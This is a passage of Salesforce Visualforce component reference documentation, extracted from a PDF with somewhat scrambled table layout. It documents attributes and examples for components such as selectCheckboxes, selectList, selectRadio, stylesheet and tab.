The field in each record provided in the chart data from which to retrieve the x-axis value for each data point in the series.
This field must exist in every record in the chart data.
Yes
The field in each record provided in the chart data from which to retrieve the y-axis value for each data point in the series.
This field must exist in every record in the chart data.
Yes
26.0
26.0
apex:scontrol
An inline frame that displays an s-control.
Note: s-controls have been superseded by Visualforce pages. After March 2010 organizations that have never created s-controls, as well as new organizations, won't be allowed to create them. Existing s-controls remain unaffected.
Example
<!-- For this component to work, you must have a valid s-control defined. -->
<apex:page >
<apex:scontrol controlName= "HelloWorld" />
</apex:page >
Attributes
Attribute Name Attribute Type
controlName height id rendered scrollbars
String
Integer
String
Boolean
Boolean
Description
The name of the s-control displayed. For this value, use the s-control's name field, not its label.
The height of the inline frame that should display the s-control, expressed either as a percentage of the total available vertical space (for example height="50%"), or as the number of pixels (for example, height="300px").
An identifier that allows the s-control component to be referenced by other components in the page.
Required?
API
Version
Access
10.0
global
10.0
10.0
global global
A Boolean value that specifies whether the component is rendered on the page. If not specified, this value defaults to true.
10.0
global
A Boolean value that specifies whether the s-control can be scrolled. If not specified, this value defaults to true.
10.0
global
522
Standard Component Reference apex:sectionHeader
Attribute Name Attribute Type
subject width
Object
Integer
Description
The ID of the record that should provide data for this s-control.
Required?
API
Version
Access
10.0
global
The width of the inline frame that should display the s-control, expressed either as the number of pixels or as a percentage of the total available horizontal space. To specify the number of pixels, set this attribute to a number followed by px, (for example, width="600px"). To specify a percentage, set this attribute to a number preceded by a hyphen (for example width="-80").
10.0
global
apex:sectionHeader
A title bar for a page. In a standard Salesforce page, the title bar is a colored header displayed directly under the tab bar.
This component supports HTML pass-through attributes using the "html-" prefix. Pass-through attributes are attached to the generated container
<div >
tag.
Example
<!-- For this example to render properly, you must associate the Visualforce page with a valid account record in the URL.
For example, if 001D000000IRt53 is the account ID, the resulting URL should be: https://Salesforce_instance/apex/myPage?id=001D000000IRt53
See the Visualforce Developer's Guide Quick Start Tutorial for more information. -->
<apex:page standardController= "Opportunity" tabStyle= "Opportunity" sidebar= "false" >
<apex:sectionHeader title= "One of Your Opportunities" subtitle= "Exciting !" />
<apex:detail subject= "{!opportunity.ownerId}" relatedList= "false" title= "false" />
</apex:page >
Attributes
Attribute Name Attribute Type
description help
String
String
Description
Descriptive text for the page that displays just under the colored title bar.
The URL for the page's help file. When this value is specified, a Help for this Page link automatically appears on the right side of the colored title bar. The URL must be a fully-qualified, absolute, or relative URL; JavaScript URLs aren't permitted.
Invalid URLs display a warning icon instead of the help link.
Required?
API
Version
Access
10.0
global
10.0
global
523
Standard Component Reference apex:selectCheckboxes
Attribute Name Attribute Type
id printUrl rendered subtitle title
String
String
Boolean
String
String
Description
An identifier that allows the sectionHeader component to be referenced by other components in the page.
Required?
API
Version
Access
10.0
global
The URL for the printable view.
A Boolean value that specifies whether the component is rendered on the page. If not specified, this value defaults to true.
18.0
10.0
global
The text displayed just under the main title in the colored title bar.
The text displayed at the top of the colored title bar.
10.0
10.0
global global
apex:selectCheckboxes
A set of related checkbox input elements, displayed in a table.
This component supports HTML pass-through attributes using the "html-" prefix. Pass-through attributes are attached to the generated container
<table >
tag.
Example
<!-- Page: -->
<apex:page controller= "sampleCon" >
<apex:form >
<apex:selectCheckboxes value= "{!countries}" >
<apex:selectOptions value= "{!items}" />
</apex:selectCheckboxes > <br/ >
<apex:commandButton value= "Test" action= "{!test}" rerender= "out" status= "status" />
</apex:form >
<apex:outputPanel id= "out" >
<apex:actionstatus id= "status" startText= "testing..." >
<apex:facet name= "stop" >
<apex:outputPanel >
<p >You have selected: </p >
<apex:dataList value= "{!countries}" var= "c" >{!c} </apex:dataList >
</apex:outputPanel >
</apex:facet >
</apex:actionstatus >
</apex:outputPanel >
</apex:page >
/*** Controller: ***/ public class sampleCon {
String [] countries = new String []{}; public PageReference test() {
524
Standard Component Reference apex:selectCheckboxes
} return null ;
} public List <SelectOption > getItems() {
List <SelectOption > options = new List <SelectOption >(); options.add( new SelectOption( 'US' , 'US' )); options.add( new SelectOption( 'CANADA' , 'Canada' )); options.add( new SelectOption( 'MEXICO' , 'Mexico' )); return options;
} public String [] getCountries() { return countries;
} public void setCountries( String [] countries) { this .countries = countries;
}
Attributes
Attribute Name Attribute Type
accesskey border borderVisible dir disabled disabledClass
String
Integer
Boolean
String
Boolean
String
Description
The keyboard access key that puts the selectCheckboxes component in focus. When the selectCheckboxes component is in focus, users can use the keyboard to select and deselect individual checkbox options.
Required?
API
Version
Access
10.0
global
10.0
global The width of the frame around the rendered HTML table, in pixels.
Controls whether the border around the
<fieldset >
that wraps the checkboxes table is visible or hidden. The default value is false
, there is no border.
29.0
The direction in which the generated HTML component should be read. Possible values include "RTL" (right to left) or
"LTR" (left to right).
A Boolean value that specifies whether the selectCheckboxes component should be displayed in a disabled state. If set to true, the checkboxes appear disabled. If not specified, this value defaults to false.
The style class used to display the selectCheckboxes component when the disabled attribute is set to true, used primarily to designate which CSS styles are applied when using an external CSS stylesheet.
10.0
10.0
10.0
global global global
525
Standard Component Reference apex:selectCheckboxes
Attribute Name Attribute Type
enabledClass id immediate label lang layout legendInvisible
String
String
Boolean
String
String
String
Boolean
Description
The style class used to display the selectCheckboxes component when the disabled attribute is set to false, used primarily to designate which CSS styles are applied when using an external CSS stylesheet.
Required?
API
Version
Access
10.0
global
10.0
global An identifier that allows the selectCheckboxes component to be referenced by other components in the page.
A Boolean value that specifies whether the action associated with this component should happen immediately, without processing any validation rules associated with the fields on the page. If set to true, the action happens immediately and validation rules are skipped. If not specified, this value defaults to false.
A text value that allows to display a label next to the control and reference the control in the error message
11.0
23.0
global
10.0
global The base language for the generated HTML output, for example, "en" or "en-US". For more information on this attribute, see the W3C specifications .
The method by which checkboxes should be displayed in the table. Possible values include "lineDirection", in which checkboxes are placed horizontally, or "pageDirection", in which checkboxes are placed vertically. If not specified, this value defaults to "lineDirection".
Controls whether the legend text is displayed or hidden. The default value is false
, the legend text is displayed for all users.
When set to true
, the
<legend >
has a styling attribute added, class= "assistiveText"
, which preserves the legend text in the DOM, but moves the display off-screen.
This makes the text accessible to screen readers, without being displayed visually.
10.0
29.0
global legendText onblur onchange
String
String
String
The text to be displayed as a legend for the checkboxes group.
When the border is visible, the legend is inlaid along the top-left edge of the border. When legendText
is an empty string, or not set, no legend is added.
The JavaScript invoked if the onblur event occurs--that is, if the focus moves off of the selectCheckboxes component.
The JavaScript invoked if the onchange event occurs--that is, if the value of any checkbox in the selectCheckboxes component changes.
29.0
10.0
10.0
global global
526
Standard Component Reference apex:selectCheckboxes
Attribute Name Attribute Type
onclick ondblclick onfocus onkeydown onkeypress onkeyup onmousedown onmousemove onmouseout onmouseover onmouseup onselect readonly rendered required
String
String
String
String
String
String
String
String
String
String
String
String
Boolean
Boolean
Boolean
Description
The JavaScript invoked if the onclick event occurs--that is, if the user clicks the selectCheckboxes component.
Required?
API
Version
Access
10.0
global
10.0
global The JavaScript invoked if the onclick event occurs--that is, if the user clicks the selectCheckboxes component twice.
The JavaScript invoked if the onfocus event occurs--that is, if the focus is on the selectCheckboxes component.
10.0
global
10.0
global The JavaScript invoked if the onkeydown event occurs--that is, if the user presses a keyboard key.
The JavaScript invoked if the onkeypress event occurs--that is, if the user presses or holds down a keyboard key.
The JavaScript invoked if the onkeyup event occurs--that is, if the user releases a keyboard key.
The JavaScript invoked if the onmousedown event occurs--that is, if the user clicks a mouse button.
10.0
10.0
10.0
global global global
10.0
global The JavaScript invoked if the onmousemove event occurs--that is, if the user moves the mouse pointer.
The JavaScript invoked if the onmouseout event occurs--that is, if the user moves the mouse pointer away from the selectCheckboxes component.
The JavaScript invoked if the onmouseover event occurs--that is, if the user moves the mouse pointer over the selectCheckboxes component.
The JavaScript invoked if the onmouseup event occurs--that is, if the user releases the mouse button.
The JavaScript invoked if the onselect event occurs--that is, if the user selects a checkbox in the selectCheckboxes component.
A Boolean value that specifies whether this selectCheckboxes component is rendered as read-only. If set to true, the checkbox values cannot be changed. If not selected, this value defaults to false.
A Boolean value that specifies whether the component is rendered on the page. If not specified, this value defaults to true.
A Boolean value that specifies whether this selectCheckboxes component is a required field. If set to true, the user must select one or more of these checkboxes. If not selected, this value defaults to false.
10.0
10.0
10.0
10.0
10.0
10.0
10.0
global global global global global global global
527
Standard Component Reference apex:selectList
Attribute Name Attribute Type
style styleClass tabindex title value
String
String
String
String
Object
Description
The style used to display the selectCheckboxes component, used primarily for adding inline CSS styles.
Required?
API
Version
Access
10.0
global
10.0
global The style class used to display the selectCheckboxes component, used primarily to designate which CSS styles are applied when using an external CSS stylesheet.
The order in which this selectCheckboxes component is selected compared to other page components when a user presses the Tab key repeatedly. This value must be an integer between 0 and 32767, with component 0 being the first component that is selected when a user presses the Tab key.
10.0
global
The text to display as a tooltip when the user's mouse pointer hovers over this component.
A merge field that references the controller class variable that is associated with this selectCheckboxes component. For example, if the name of the associated variable in the controller class is myCheckboxSelections use value="{!myCheckboxSelections}" to reference the variable.
10.0
10.0
global global
apex:selectList
A list of options that allows users to select only one value or multiple values at a time, depending on the value of its multiselect attribute.
This component supports HTML pass-through attributes using the "html-" prefix. Pass-through attributes are attached to the generated
<select >
tag.
Example
<!-- Page: -->
<apex:page controller= "sampleCon" >
<apex:form >
<apex:selectList value= "{!countries}" multiselect= "true" >
<apex:selectOptions value= "{!items}" />
</apex:selectList > <p/ >
<apex:commandButton value= "Test" action= "{!test}" rerender= "out" status= "status" />
</apex:form >
<apex:outputPanel id= "out" >
<apex:actionstatus id= "status" startText= "testing..." >
<apex:facet name= "stop" >
<apex:outputPanel >
<p >You have selected: </p >
<apex:dataList value= "{!countries}" var= "c" >{!c} </apex:dataList >
528
Standard Component Reference apex:selectList
</apex:actionstatus >
</apex:outputPanel >
</apex:page >
</apex:outputPanel >
</apex:facet >
/*** Controller: ***/ public class sampleCon {
String [] countries = new String []{}; public PageReference test() { return null ;
} public List <SelectOption > getItems() {
List <SelectOption > options = new List <SelectOption >(); options.add( new SelectOption( 'US' , 'US' )); options.add( new SelectOption( 'CANADA' , 'Canada' )); options.add( new SelectOption( 'MEXICO' , 'Mexico' )); return options;
} public String [] getCountries() { return countries;
} public void setCountries( String [] countries) { this .countries = countries;
}
}
Attributes
Attribute Name Attribute Type
accesskey dir disabled disabledClass
String
String
Boolean
String
Description
The keyboard access key that puts the selectList in focus.
When the selectList is in focus, a user can select or deselect list options.
The direction in which the generated HTML component should be read. Possible values include "RTL" (right to left) or
"LTR" (left to right).
A Boolean value that specifies whether this selectList should be displayed in a disabled state. If set to true, the selectList appears disabled. If not specified, this value defaults to false.
The style class used to display the selectList component when the disabled attribute is set to true, used primarily to designate which CSS styles are applied when using an external CSS stylesheet.
Required?
API
Version
Access
10.0
global
10.0
10.0
10.0
global global global
529
Standard Component Reference apex:selectList
Attribute Name Attribute Type
enabledClass id label lang multiselect onblur onchange onclick ondblclick onfocus onkeydown onkeypress onkeyup onmousedown onmousemove
String
String
String
String
Boolean
String
String
String
String
String
String
String
String
String
String
Description
The style class used to display the selectList component when the disabled attribute is set to false, used primarily to designate which CSS styles are applied when using an external
CSS stylesheet.
Required?
API
Version
Access
10.0
global
10.0
global An identifier that allows the selectList component to be referenced by other components in the page.
A text value that allows to display a label next to the control and reference the control in the error message
23.0
The base language for the generated HTML output, for example, "en" or "en-US". For more information on this attribute, see the W3C specifications .
A Boolean value that specifies whether users can select more than one option as a time from this selectList. If set to true, users can select more than one option at a time. If not specified, this value defaults to false. If multiselect is true, the value attribute must be of type String[] or a List of strings.
Otherwise, it must be of type String.
The JavaScript invoked if the onblur event occurs--that is, if the focus moves off of the selectList component.
The JavaScript invoked if the onchange event occurs--that is, if the value of the selectList component changes.
The JavaScript invoked if the onclick event occurs--that is, if the user clicks the selectList component.
The JavaScript invoked if the onclick event occurs--that is, if the user clicks the selectList component twice.
The JavaScript invoked if the onfocus event occurs--that is, if the focus is on the selectList component.
The JavaScript invoked if the onkeydown event occurs--that is, if the user presses a keyboard key.
The JavaScript invoked if the onkeypress event occurs--that is, if the user presses or holds down a keyboard key.
The JavaScript invoked if the onkeyup event occurs--that is, if the user releases a keyboard key.
The JavaScript invoked if the onmousedown event occurs--that is, if the user clicks a mouse button.
The JavaScript invoked if the onmousemove event occurs--that is, if the user moves the mouse pointer.
10.0
10.0
10.0
10.0
10.0
10.0
10.0
10.0
10.0
10.0
10.0
10.0
global global global global global global global global global global global global
530
Standard Component Reference apex:selectList
Attribute Name Attribute Type
onmouseout onmouseover onmouseup onselect readonly rendered required size style styleClass tabindex title value
String
String
String
String
Boolean
Boolean
Boolean
Integer
String
String
String
String
Object
Description
The JavaScript invoked if the onmouseout event occurs--that is, if the user moves the mouse pointer away from the selectList component.
Required?
API
Version
Access
10.0
global
The JavaScript invoked if the onmouseover event occurs--that is, if the user moves the mouse pointer over the selectList component.
10.0
global
The JavaScript invoked if the onmouseup event occurs--that is, if the user releases the mouse button.
The JavaScript invoked if the onselect event occurs--that is, if the user selects an option in the selectList component.
10.0
10.0
global global
10.0
global A Boolean value that specifies whether this selectList component is rendered as read-only. If set to true, the list option selections cannot be changed. If not selected, this value defaults to false.
A Boolean value that specifies whether the component is rendered on the page. If not specified, this value defaults to true.
A Boolean value that specifies whether this selectList component is a required field. If set to true, the user must select at least one list option. If not selected, this value defaults to false.
The number of selectList options displayed at one time. If this number is less than the total number of options, a scroll bar is displayed in the selectList. If not specified, all available options are displayed.
The style used to display the selectList component, used primarily for adding inline CSS styles.
The style class used to display the selectList component, used primarily to designate which CSS styles are applied when using an external CSS stylesheet.
The order in which this selectList component is selected compared to other page components when a user presses the Tab key repeatedly. This value must be an integer between
0 and 32767, with component 0 being the first component that is selected when a user presses the Tab key.
The text to display as a tooltip when the user's mouse pointer hovers over this component.
A merge field that references the controller class variable that is associated with this selectList. For example, if the name of the associated variable in the controller class is
10.0
10.0
10.0
10.0
10.0
10.0
10.0
10.0
global global global global global global global global
531
Standard Component Reference apex:selectOption
Attribute Name Attribute Type Description
myListSelections, use value="{!myListSelections}" to reference the variable. If multiselect is true, the value attribute must be of type String[] or a List of strings. Otherwise, it must be of type String.
Required?
API
Version
Access apex:selectOption
A possible value for an
<apex:selectCheckboxes >
or
<apex:selectList >
component. The
<apex:selectOption > component must be a child of one of those components.
This component supports HTML pass-through attributes using the "html-" prefix. Pass-through attributes are attached to the generated
<input >
tag for components within an
<apex:selectCheckboxes >
or
<apex:selectRadio >
parent component, or to the generated
<option >
tag for components within an
<apex:selectList >
parent component.
Example
<!-- Page: -->
<apex:page controller= "chooseColor" >
<apex:form >
<apex:selectList id= "chooseColor" value= "{!string}" size= "1" >
<apex:selectOption itemValue= "red" itemLabel= "Red" />
<apex:selectOption itemValue= "white" itemLabel= "White" />
<apex:selectOption itemValue= "blue" itemLabel= "Blue" />
</apex:selectList >
</apex:form >
</apex:page >
/*** Controller ***/ public class chooseColor {
String s = 'blue' ; public String getString() { return s;
} public void setString( String s) { this .s = s;
}
}
The example above renders the following HTML:
<select id= "chooseColor" name= "chooseColor" size= "1" >
<option value= "red" >Red </option >
<option value= "white" >White </option >
<option value= "blue" selected= "selected" >Blue </option >
</select >
532
Standard Component Reference apex:selectOption
Attributes
Attribute Name Attribute Type
dir id itemDescription itemDisabled itemEscaped itemLabel itemValue lang onclick ondblclick onkeydown onkeypress onkeyup onmousedown
String
String
String
Boolean
Boolean
String
Object
String
String
String
String
String
String
String
Description
The direction in which the generated HTML component should be read. Possible values include "RTL" (right to left) or
"LTR" (left to right).
Required?
API
Version
Access
10.0
global
10.0
global An identifier that allows the selectOption component to be referenced by other components in the page.
A description of the selectOption component, for use in development tools.
10.0
global
A Boolean value that specifies whether the selectOption component should be displayed in a disabled state. If set to true, the option appears disabled. If not specified, this value defaults to false.
A Boolean value that specifies whether sensitive HTML and
XML characters should be escaped in the HTML output generated by this component. If not specified, this value defaults to true. For example, the only way to add a ">" symbol to a label is by using the symbol's escape sequence and setting itemEscaped="false". If you do not specify itemEscaped="false", the character escape sequence displays as written.
10.0
10.0
global global
The label used to display this option to users.
The value sent to the server if this option is selected by the user.
The base language for the generated HTML output, for example, "en" or "en-US". For more information on this attribute, see the W3C specifications .
The JavaScript invoked if the onclick event occurs--that is, if the user clicks the selectOption component.
The JavaScript invoked if the onclick event occurs--that is, if the user clicks the selectOption component twice.
The JavaScript invoked if the onkeydown event occurs--that is, if the user presses a keyboard key.
The JavaScript invoked if the onkeypress event occurs--that is, if the user presses or holds down a keyboard key.
The JavaScript invoked if the onkeyup event occurs--that is, if the user releases a keyboard key.
The JavaScript invoked if the onmousedown event occurs--that is, if the user clicks a mouse button.
10.0
10.0
10.0
10.0
10.0
10.0
10.0
10.0
10.0
global global global global global global global global global
533
Standard Component Reference apex:selectOptions
Attribute Name Attribute Type
onmousemove onmouseout onmouseover onmouseup rendered style styleClass title value
String
String
String
String
Boolean
String
String
String
Object
Description
The JavaScript invoked if the onmousemove event occurs--that is, if the user moves the mouse pointer.
The JavaScript invoked if the onmouseout event occurs--that is, if the user moves the mouse pointer away from the selectOption.
The JavaScript invoked if the onmouseover event occurs--that is, if the user moves the mouse pointer over the selectOption.
The JavaScript invoked if the onmouseup event occurs--that is, if the user releases the mouse button.
A Boolean value that specifies whether the component is rendered on the page. If not specified, this value defaults to true.
Required?
API
Version
Access
10.0
global
10.0
10.0
10.0
10.0
global global global global
10.0
global This attribute was deprecated in Salesforce API version 17.0
and has no effect on the page.
This attribute was deprecated in Salesforce API version 17.0
and has no effect on the page.
The text to display as a tooltip when the user's mouse pointer hovers over this component.
A merge field that references the controller class variable of type SelectItem that is associated with this selectOption component. For example, if the name of the associated variable in the controller class is myOption, use value="{!myOption}" to reference the variable.
10.0
10.0
10.0
global global global
apex:selectOptions
A collection of possible values for an
<apex:selectCheckBoxes >
,
<apex:selectRadio >
, or
<apex:selectList > component. An
<apex:selectOptions >
component must be a child of one of those components. It must also be bound to a collection of selectOption objects in a custom Visualforce controller.
This component supports HTML pass-through attributes using the "html-" prefix. Pass-through attributes are attached to the generated
<input >
tag for components within an
<apex:selectCheckboxes >
or
<apex:selectRadio >
parent component, or the generated
<option >
tag for components within an
<apex:selectList >
parent component.
Example
<!-- Page: -->
<apex:page controller= "sampleCon" >
<apex:form >
<apex:selectCheckboxes value= "{!countries}" title= "Choose a country" >
<apex:selectOptions value= "{!items}" />
534
Standard Component Reference apex:selectOptions
</apex:selectCheckboxes > <br/ >
<apex:commandButton value= "Test" action= "{!test}" rerender= "out" status= "status" />
</apex:form >
<apex:outputPanel id= "out" >
<apex:actionstatus id= "status" startText= "testing..." >
<apex:facet name= "stop" >
<apex:outputPanel >
<p >You have selected: </p >
<apex:dataList value= "{!countries}" var= "c" >a:{!c} </apex:dataList >
</apex:outputPanel >
</apex:facet >
</apex:actionstatus >
</apex:outputPanel >
</apex:page >
/*** Controller: ***/ public class sampleCon {
String [] countries = new String []{}; public PageReference test() { return null ;
} public List <SelectOption > getItems() {
List <SelectOption > options = new List <SelectOption >(); options.add( new SelectOption( 'US' , 'US' )); options.add( new SelectOption( 'CANADA' , 'Canada' )); options.add( new SelectOption( 'MEXICO' , 'Mexico' )); return options;
} public String [] getCountries() { return countries;
} public void setCountries( String [] countries) { this .countries = countries;
}
}
Attributes
Attribute Name Attribute Type
id rendered
String
Boolean
Description
An identifier that allows the selectOptions component to be referenced by other components in the page.
A Boolean value that specifies whether the component is rendered on the page. If not specified, this value defaults to true.
Required?
API
Version
Access
10.0
global
10.0
global
535
Standard Component Reference apex:selectRadio
Attribute Name Attribute Type
value
Object
Description Required?
API
Version
Access
10.0
global A merge field that references the controller class collection variable of type SelectItem that is associated with this selectOptions component. For example, if the name of the associated variable in the controller class is mySetOfOptions, use value="{!mySetOfOptions}" to reference the variable.
Yes
apex:selectRadio
A set of related radio button input elements, displayed in a table. Unlike checkboxes, only one radio button can ever be selected at a time.
This component supports HTML pass-through attributes using the "html-" prefix. Pass-through attributes are attached to the generated container
<table >
tag.
Example
<!-- Page: -->
<apex:page controller= "sampleCon" >
<apex:form >
<apex:selectRadio value= "{!country}" >
<apex:selectOptions value= "{!items}" />
</apex:selectRadio > <p/ >
<apex:commandButton value= "Test" action= "{!test}" rerender= "out" status= "status" />
</apex:form >
<apex:outputPanel id= "out" >
<apex:actionstatus id= "status" startText= "testing..." >
<apex:facet name= "stop" >
<apex:outputPanel >
<p >You have selected: </p >
<apex:outputText value= "{!country}" />
</apex:outputPanel >
</apex:facet >
</apex:actionstatus >
</apex:outputPanel >
</apex:page >
/*** Controller ***/ public class sampleCon {
String country = null ; public PageReference test() { return null ;
} public List <SelectOption > getItems() {
List <SelectOption > options = new List <SelectOption >(); options.add( new SelectOption( 'US' , 'US' ));
536
Standard Component Reference apex:selectRadio
} options.add( new SelectOption( 'CANADA' , 'Canada' )); options.add( new SelectOption( 'MEXICO' , 'Mexico' )); return options;
} public String getCountry() { return country;
} public void setCountry( String country) { this .country = country; }
Attributes
Attribute Name Attribute Type
accesskey border borderVisible dir disabled disabledClass enabledClass id immediate
String
Integer
Boolean
String
Boolean
String
String
String
Boolean
Description
The keyboard access key that puts the radio buttons in focus.
When the radio buttons are in focus, a user can select or deselect a radio button value.
Required?
API
Version
Access
10.0
global
10.0
global The width of the frame around the rendered HTML table, in pixels.
Controls whether the border around the
<fieldset >
that wraps the radio buttons table is visible or hidden. The default value is false
, there is no border.
29.0
The direction in which the generated HTML component should be read. Possible values include "RTL" (right to left) or
"LTR" (left to right).
A Boolean value that specifies whether the selectRadio component should be displayed in a disabled state. If set to true, the radio buttons appear disabled. If not specified, this value defaults to false.
The style class used to display the selectRadio component when the disabled attribute is set to true, used primarily to designate which CSS styles are applied when using an external
CSS stylesheet.
The style class used to display the selectRadio component when the disabled attribute is set to false, used primarily to designate which CSS styles are applied when using an external
CSS stylesheet.
An identifier that allows the selectRadio component to be referenced by other components in the page.
A Boolean value that specifies whether the action associated with this component should happen immediately, without processing any validation rules associated with the fields on the page. If set to true, the action happens immediately and
10.0
10.0
10.0
10.0
10.0
11.0
global global global global global global
537
Standard Component Reference apex:selectRadio
Attribute Name Attribute Type
label lang layout legendInvisible legendText onblur onchange onclick ondblclick onfocus onkeydown onkeypress
String
String
String
Boolean
String
String
String
String
String
String
String
String
Description
validation rules are skipped. If not specified, this value defaults to false.
A text value that allows to display a label next to the control and reference the control in the error message
The base language for the generated HTML output, for example, "en" or "en-US". For more information on this attribute, see the W3C specifications .
The method by which radio buttons should be displayed in the table. Possible values include "lineDirection", in which radio buttons are placed horizontally, or "pageDirection", in which radio buttons are placed vertically. If not specified, this value defaults to "lineDirection".
Controls whether the legend text is displayed or hidden. The default value is false
, the legend text is displayed for all users.
When set to true
, the
<legend >
has a styling attribute added, class= "assistiveText"
, which preserves the legend text in the DOM, but moves the display off-screen.
This makes the text accessible to screen readers, without being displayed visually.
The text to be displayed as a legend for the radio buttons group. When the border is visible, the legend is inlaid along the top-left edge of the border. When legendText
is an empty string, or not set, no legend is added.
The JavaScript invoked if the onblur event occurs--that is, if the focus moves off of the selectRadio component.
The JavaScript invoked if the onchange event occurs--that is, if the value of any radio button in the selectRadio component changes.
The JavaScript invoked if the onclick event occurs--that is, if the user clicks the selectRadio component.
The JavaScript invoked if the onclick event occurs--that is, if the user clicks the selectRadio component twice.
The JavaScript invoked if the onfocus event occurs--that is, if the focus is on the selectRadio component.
The JavaScript invoked if the onkeydown event occurs--that is, if the user presses a keyboard key.
The JavaScript invoked if the onkeypress event occurs--that is, if the user presses or holds down a keyboard key.
Required?
API
Version
Access
23.0
10.0
10.0
29.0
29.0
10.0
10.0
10.0
10.0
10.0
10.0
10.0
global global global global global global global global global
538
Standard Component Reference apex:selectRadio
Attribute Name Attribute Type
onkeyup onmousedown onmousemove onmouseout onmouseover onmouseup onselect readonly rendered required style styleClass tabindex
String
String
String
String
String
String
String
Boolean
Boolean
Boolean
String
String
String
Description
The JavaScript invoked if the onkeyup event occurs--that is, if the user releases a keyboard key.
Required?
API
Version
Access
10.0
global
10.0
global The JavaScript invoked if the onmousedown event occurs--that is, if the user clicks a mouse button.
The JavaScript invoked if the onmousemove event occurs--that is, if the user moves the mouse pointer.
10.0
global
The JavaScript invoked if the onmouseout event occurs--that is, if the user moves the mouse pointer away from the selectRadio component.
The JavaScript invoked if the onmouseover event occurs--that is, if the user moves the mouse pointer over the selectRadio component.
The JavaScript invoked if the onmouseup event occurs--that is, if the user releases the mouse button.
10.0
10.0
10.0
global global global
The JavaScript invoked if the onselect event occurs--that is, if the user selects a radio button in the selectRadio component.
A Boolean value that specifies whether this selectRadio component is rendered as read-only. If set to true, the selected radio button is unchangeable. If not selected, this value defaults to false, and the selected radio button can be changed.
A Boolean value that specifies whether the component is rendered on the page. If not specified, this value defaults to true.
A Boolean value that specifies whether this selectRadio component is a required field. If set to true, the user must select a radio button. If not selected, this value defaults to false.
The CSS style used to display the selectRadio component, used primarily for adding inline CSS styles.
The style class used to display the selectRadio component, used primarily to designate which CSS styles are applied when using an external CSS stylesheet.
The order in which this selectRadio component is selected compared to other page components when a user presses the Tab key repeatedly. This value must be an integer between
0 and 32767, with component 0 being the first component that is selected when a user presses the Tab key.
10.0
10.0
10.0
10.0
10.0
10.0
10.0
global global global global global global global
539
Standard Component Reference apex:stylesheet
Attribute Name Attribute Type
title value
String
Object
Description
The text to display as a tooltip when the user's mouse pointer hovers over this component.
Required?
API
Version
Access
10.0
global
A merge field that references the controller class variable that is associated with this selectRadio component. For example, if the name of the associated variable in the controller class is myRadioButtonSelection use value="{!myRadioButtonSelection}" to reference the variable.
10.0
global
apex:stylesheet
A link to a stylesheet that can be used to style components on the Visualforce page. When specified, this component injects the stylesheet reference into the head element of the generated HTML page.
This component supports HTML pass-through attributes using the "html-" prefix. Pass-through attributes are attached to the generated
<link >
tag.
Example
<apex:stylesheet value= "/resources/htdocs/css/basic.css" />
The example above renders the following HTML:
<link rel= "stylesheet" type= "text/css" href= "/resources/htdocs/css/basic.css" />
Zip Resource Example
<apex:stylesheet value= "{!URLFOR($Resource.StyleZip, 'basic.css')}" />
The example above renders the following HTML:
<link rel= "stylesheet" type= "text/css" href= "[generatedId]/basic.css" />
Attributes
Attribute Name Attribute Type
id value
String
Object
Description
An identifier that allows other components in the page to reference the stylesheet component.
The URL to the style sheet file. Note that this can be a reference to a static resource.
Required?
API
Version
Access
10.0
global
Yes 10.0
global
540
Standard Component Reference apex:tab
apex:tab
A single tab in an
<apex:tabPanel >
. The
<apex:tab >
component must be a child of a
<apex:tabPanel >
.
This component supports HTML pass-through attributes using the "html-" prefix. Pass-through attributes are attached to the generated
<td >
tag that wraps the tab's contents.
Example
<!-- Page: -->
<apex:page id= "thePage" >
<apex:tabPanel switchType= "client" selectedTab= "name2" id= "theTabPanel" >
<apex:tab label= "One" name= "name1" id= "tabOne" >content for tab one </apex:tab >
<apex:tab label= "Two" name= "name2" id= "tabTwo" >content for tab two </apex:tab >
</apex:tabPanel >
</apex:page >
Attributes
Attribute Name Attribute Type
disabled focus id immediate label labelWidth name onclick
Boolean
String
String
Boolean
String
String
Object
String
Description
A Boolean value that specifies whether the tab can be selected and viewed. If set to true, the tab cannot be selected. If not specified, this value defaults to false.
Required?
API
Version
Access
10.0
global
10.0
global The ID of the child component in focus when the tab content is displayed.
An identifier that allows the tab component to be referenced by other components in the page.
A Boolean value that specifies whether the action associated with this component happens immediately, without processing any validation rules associated with the fields on the page. If set to true, the action happens immediately and validation rules are skipped. If not specified, this value defaults to false.
The text to display in the tab header.
10.0
11.0
10.0
global global global
The length of the tab header, in pixels. If not specified, this value defaults to the width of label text.
The name of the tab. Use the value of this attribute to specify the default selected tab for the tabPanel.
The JavaScript invoked if the onclick event occurs--that is, if the user clicks the tab.
10.0
10.0
10.0
global global global
541
Standard Component Reference apex:tab
Attribute Name Attribute Type
oncomplete ondblclick onkeydown onkeypress onkeyup onmousedown onmousemove onmouseout onmouseover onmouseup ontabenter ontableave rendered reRender status
String
String
String
String
String
String
String
String
String
String
String
String
Boolean
Object
String
Description
The JavaScript invoked if the oncomplete event occurs--that is, when the tab has been selected and its content rendered on the page.
Required?
API
Version
Access
10.0
global
10.0
global The JavaScript invoked if the onclick event occurs--that is, if the user clicks the tab twice.
The JavaScript invoked if the onkeydown event occurs--that is, if the user presses a keyboard key.
The JavaScript invoked if the onkeypress event occurs--that is, if the user presses or holds down a keyboard key.
The JavaScript invoked if the onkeyup event occurs--that is, if the user releases a keyboard key.
The JavaScript invoked if the onmousedown event occurs--that is, if the user clicks a mouse button.
The JavaScript invoked if the onmousemove event occurs--that is, if the user moves the mouse pointer.
The JavaScript invoked if the onmouseout event occurs--that is, if the user moves the mouse pointer away from the tab.
The JavaScript invoked if the onmouseover event occurs--that is, if the user moves the mouse pointer over the tab.
The JavaScript invoked if the onmouseup event occurs--that is, if the user releases the mouse button.
The JavaScript invoked if the ontabenter event occurs--that is, if a tab component becomes in focus.
The JavaScript invoked if the ontableave event occurs--that is, if a component outside the tab becomes in focus.
A Boolean value that specifies whether the component is rendered on the page. If not specified, this value defaults to true.
10.0
10.0
10.0
10.0
10.0
10.0
10.0
10.0
11.0
11.0
10.0
global global global global global global global global global global global
The ID of one or more components to redraw when the result of an AJAX update request returns to the client. This value can be a single id, a comma-separated list of ids, or a merge field expression for a list or collection of ids. This value is also only applicable when the value of the switchType attribute is "ajax".
The ID of an associated component that displays the status of an AJAX update request. See the actionStatus component.
Note that this value is only applicable when the value of the switchType attribute is set to "ajax".
10.0
10.0
global global
542
Standard Component Reference apex:tabPanel
Attribute Name Attribute Type
style styleClass switchType timeout title
String
String
String
Integer
String
Description
The style used to display all portions of the tab component, used primarily for adding inline CSS styles.
Required?
API
Version
Access
10.0
global
10.0
